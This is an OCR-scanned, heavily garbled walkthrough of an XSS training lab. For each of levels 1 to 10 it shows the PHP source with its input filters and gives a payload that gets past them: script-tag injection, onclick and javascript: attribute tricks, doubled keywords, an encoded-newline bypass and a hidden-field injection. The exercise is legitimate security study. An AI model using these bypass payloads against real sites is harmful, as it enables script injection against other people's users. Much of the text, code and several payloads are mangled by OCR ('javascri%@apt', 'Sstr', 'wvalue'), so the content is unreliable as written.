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xss-levell:
B KRB 2T, RERIxss, FEMKIxssHAEIEAJED AT,
payload: <script>alert(1)</script>
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</script>
<title>FKiB3EH|1evel2</title>
</head>
<body>
<hl align=center>XKiA3E FHlevel2</hl>
< ?php
ini_get("display_errors", 0y,
$str = $ GET["keyword"];
echo "<h2 align=center>ZH FHE|F" . NENISPECISIEHIEE (Sstr) . "FE<894 5 . </h2>". "<center>
<form action=level2.php method=GET>
<input name=keyword wvalue="'.Sstr.'">
<input type=submit name=submit value="3EZ&E"/>
</ form>
</center>";
7>
<center><img src=levell.png></center>
E<?php
echo "<h3 align=center>payleoadfJH&E :".strlen(5str)."</h3>";
F?>
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XBERMNEFIRAG, TRERSESIER, ZAGHERRES.
payload: "><script>alert(123)</script><"

‘@ # www.gohosts.com/xss/level2.php?keyword="> <script>alert(123) <%2Fscript> <" &submit={#%& B eee ﬁ| ¥ IND ® o @
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xss-level3:

HEIEG:

</head>
<body>
<hl align=center>¥KiBEH|1leveld</hl>
—<?php
ini set("display errors", 0);
$str = $ GET["keyword"];
echo "<h2 align=center>y%H FKE|F1" . htmlspecialchars (Sstr) ."FfA=HAIEEE . </h2>". "<center>
<form action=level3.php method=GET>
<input name=keyword wvalue="".htmlspecialchars($str)."'>
<input type=submit name=submit value=#E%& />
</ form>
</center>";
-2
<center><img src=levell.png></center>
H<?php
echo "<h3 align=center>payloadfJt<E :".strlen(Sstr)."</h3>";
2>
-</body>
L</html>
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RIM A &L J htmispecialchars()BR &, REFFIR TR F ANmMISEAR, TIEWE R
FrlA, X Bk R Bl ix AN R 5.
R#Ehtmispecialchars() i %, BRIAAGwILHES] S, BRITERSEEBN—NEHE, FHHE.

payload: ' onclick=javascript:alert(l) '

XEREH K ZonclickE M, FWANIJE, EBF R dHAMES ATAAHE .

|® % www.gohosts.com/xss/level3.php?keyword="+onclick%3Djavascript%3Aalert(1)+'&submit=1E%& EE e 1}| +oIN @
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xss-level4:

BEIR:

|[<?php -
ini_;et{"diSplay_errorS", 0) -

$str = $ GET["keyword"]; -

Sstri2=str_replace(">","", 55tr) /

Sstr3=str_replace("<","",55tr2);

echo "<h2? align=center>{%HFRE|FI" htmlspecialchars (Sstr)."FfERHEIEER . </h2>". "<ce
<form action=leveld.php method=GET>

<input name=keyword wvalue="'.S$str3."'">

<input type=submit name=submit value=i%%E />

</ form>
</center>"';
P
<center><img src=leveld . png»</center>
|[<?php
echo "<h3 align=center>payloadBJiE:".strlen(S5tr3)."</h3>";
P
</body>
</html>
RIRAEF

replace()eR %, K"<FI">"EREB N, FrUNBEIEAREHE .
BATT M E—k—F, WABMRAMEHE.
payload: " onclick=javascript:alert(123) "

|® 1 www.gohosts.com/xss/level4.php?keyword="+onclick%3Djavascript%3Aalert(123)+"&submit=15z BE e ﬁ| <+
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xss-level5:

BEIR:

H<body>

<hl align=center>#il3E | levels</hl>
H<?php

ini_;et{"display_errors", 0y ;

Sstr = strtolower{S_GET["keyword"])'
$5tr2=str_;eplace{"<script","<scr_
$str3=str_replace("on","oc n",$str2);

echo "<h? align=center>i% 8 T E|F" htmlspecialchars (5str) . "FEFHBIZE R . </h2>". '<center>
<form action=level5.php method=GET>

<input name=keyword wvalue="'.S$str3.'">

<input type=submit name=submit value=1%%& />

</ form>

</center>';

2>

<center><img src=levelS.png></center>

H<?php

echo "<h32 align=center>payloadBIE :".strlen(Ss5tr3)."</h3>";

2>

-</body>

L</htmls>

t", $s5tr);

RIS Freplace()E %L, H#i<script B#tffi<scr_ipt, HonE#emio_n, KM T strlower()RE & MEHNNE, MARKNES
it.
[F#£4A % F htmispecialchars ()R #E 4T #1 .



X B RATEIBEE Xtjavascripti BR &, FrLlal LAl —AMssE, f# Hjavascriptthhill, B EBERILE N

payload: "><a href=javascript:alert('XSS')>click here !</a>

© & www.gohosts.com/xss/level5.php?keyword="> <a+href%3Djavascript%3Aalert(123)>click+herel < %2Fa>&submit- B+ ¥ L N @ ¢
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sk Zllevel5

QEHEIM" > <a href=javascript:alert(123)>click here!</a>XHLER.

vy LeveL S

WIE RdT R KB, MR,
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level6:

HEIFG:

H<?php

ini_;et{"display_errors", 0);

$s5tr = § GET["keyword"];

$str2=str replace ("<script","<scr ipt",$str);
$5tr3=str_replace("on","o n", 3str2);
$s5trd=str_replace("src","sr c",55tr3); /
$5tr5=str_replace("data","da ta",3strd);

$s5tré=str_replace ("href"”,"hr ef", 35tr5);

echo "<h2 align=center>i{% 5 K E|F " htmlspecialchars ($str) ."FfARHIE R . </h2>". '<center
<form action=levelé.php method=GET:>

<input name=keyword value="'.S5tr6."'">

<input type=submit name=submit value=#8% />

</ form>

</center>";

F2>

]
LAR B Freplace() & £0 — 22 7] BE & I BIUARE HEAT B (I T RIZR), BRI TFREHRENE, HEBRIITUZERNES
if.

pavioad: " ><SCRIPT>alert(123)</SCRIPT>
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xss-level7:

BEIR:

4 &(hl align=center>¥RiE3R HlevelT</hl>

5 [E<?php

(4] ini set("display errors", 0);

7 $str =strtolower( 5 GET["keyword"]);

g8 Sstr2=str_replace ("script","",S$str);

g $str3=str_replace ("on","",5s5tr2);

] $stri=str_ replace("src","",5str3);

1 $str5=str_replace("data","",Sstr4);

2 $stré=str_replace ("href","", 5s5tr5);

3 echo "<hZ align=center>i{%H £ ZE|F1" .htmlspecialchars (Sstr)."FfH<BIE R . </h2>". "<center>

- <form action=lewvel7.php method=GET>

5 <input name=keyword wvalue="'.Sstr6.'">

6 <input type=submit name=submit value=i8%& />

7 </form> 17
B </center>'; +0.09
9 (2> -
n crentersaima are=lewvel T mnrs</renters

A LAE A fstr_replace()ERE0H — 7 fF 5 BT, XBERMNTUZEANE ST .
payload: "><scscriptript>alert(123)</scscriptript>

‘@ # www.gohosts.com/xss/level7.php?keyword="> <scscriptript>alert(123) <%2Fscscriptript> &submit=2% B e ﬁ‘
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xss-level8:

BEIR:

<hl align=center>¥KiBK Flevel8</hl>
<?php

ini =meti"disnlav arrarg" 0} -




$St; = strtolower|($ GET["keyword"]):
$str2=str_replace|("script","scr ipt",S$str):
$str3=str_replace|l("on","o n",$str2);
Sstrd=str_replace|("src","sr c",$str3);
Sstr5=str_replace|("data","da ta",$str4);
Sstré=str_replace|("href","hr ef",5str5);
Sstri=str_replace|('"', "acuot',3stre);

echo '<center>
<form action=levels.php method=GET>

<input name=keyword wvalue="'_htmlspecialchars(Sstr).'">
<input type=submit name=submit value=iHII/ZIEEE />
</ form>
</center>"';
2>
?(?php
- ——— - 1 - wmo - . - . S— =L L s

MUEH, WK TBEEERAMT TRk, RERITWAK TR S SEAatn Rl S EBEZ M.
5 AR # 2 X 2 — M EfE Bixss

'(—' = @ ‘@ # www.gohosts.com/xss/<scr _ipt>alert(123)</scirpt>
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Forbidden

You don't have permission to access /xss/<scr_ipt=alert(123)</scirpt> on this server.

X BTG, W] DAYEatn A BB SRR L TH 51 NjavascriptfRAg
I7 i >R P %60a(# 47 75 ) R S8 H J 7 B s im Rl 4k
payload: javascri%@apt:alert(123)
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xss-level9:
BEIR:
AUEH, X—XRE E—XERNFZEREAEZHRBMT TRIL, FFEEZFERNFAN KIS H A #http/AX Ak

<hl align=center>¥KiBFKHlleveld</hl>
<?php

t("displavy errors", 0};:
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https://tool.oschina.net/encode

P5LL — SCILOLOWEIL (3 Ol | KEYWUOLW | )7

]

g8 $str2=str_replace ("script","scr ipt",$str);

=] $str3=str_replace("on","o n",5str2);

0 $stri=str_replace("src","sr c",$str3);

1 $str5=str_replace ("data","da ta",$strd);

2 $stre=str_replace ("href","hr ef",$str5);

g $stri=str_replace('"','&guot',$stre);

4 echc '<center>

5 <form action=level%.php method=GET>

(5] <input name=keyword value="'_htmlspecialchars(Sstr).'">
7 <input type=submit name=submit value=¥ri0EIEEE />

B </ form>

] </center>";

o L2

1 H<?php

2 if (false===strpos (Sstr7, 'http://"))

3 Hi

4 echo '<center><BR><a href="EHIEBEFEE? B&B | ">HEBE</a></center>
a ? }

o aelse

RATLAKH
VERE 5 Rn A http:// (ERSE)
payload: javascrip%@at:alert(123)//http://

= & SQL BASICS- UNION BASED- ERROR/DQOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-
Lhttp:,fﬂ 27.0.0.1/xss/level9.php?keyword=javascrip%0at:alert(123)//http://

[] Post data [ ] Referrer 4% OxHEX ™» &% %URL ¥» &% BASE64 I Insert string to replace| | Insert replacing string Replace All E
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xss-level10:
BEIR:

<hl align=center>AKRIHK F]levelll</hl>
é(?php

ini_;et{"diSplay_errorS", 0) -

$str = $ GET["keyword"];

$strll = $ GET["t sort"];

Sstr2Z=str replace(">","",55trll);

$s5tr33=str_replace("<","", $s5tr22);

echo "<h? align=center>y%°H % ZF1" htmlspecialchars (Sstr) . "fE=BIE R . </h2>". "<cer

<Lolll 1U—stcdl Il

<input name="t link" value="'.'" type="hidden">

<input name="t history" value="'.'" type="hidden">
<input name="t sort" value="'.$str33.'" type="hidden">
</ form>

</center>';

e

<center><img src=levelll.png></center>

1< ?php
$echo "<h3 align=center>payload®I+E:".strlen(Sstr)."</h3>";



>
</body>
</html>

ATLE
W, BRI T, FTCAERNRE AN . FR, 258K IHRZMEH htmispecialchars()i#4TH# L. MIESIRATIENIE t sorthl PLEi%
28, ERIETRES, BMBAIHM Hjavascriptththill, BEERAIRSRNEINE .
payload: &t_sort=click_here" type="button" onclick="javascript:alert(123)
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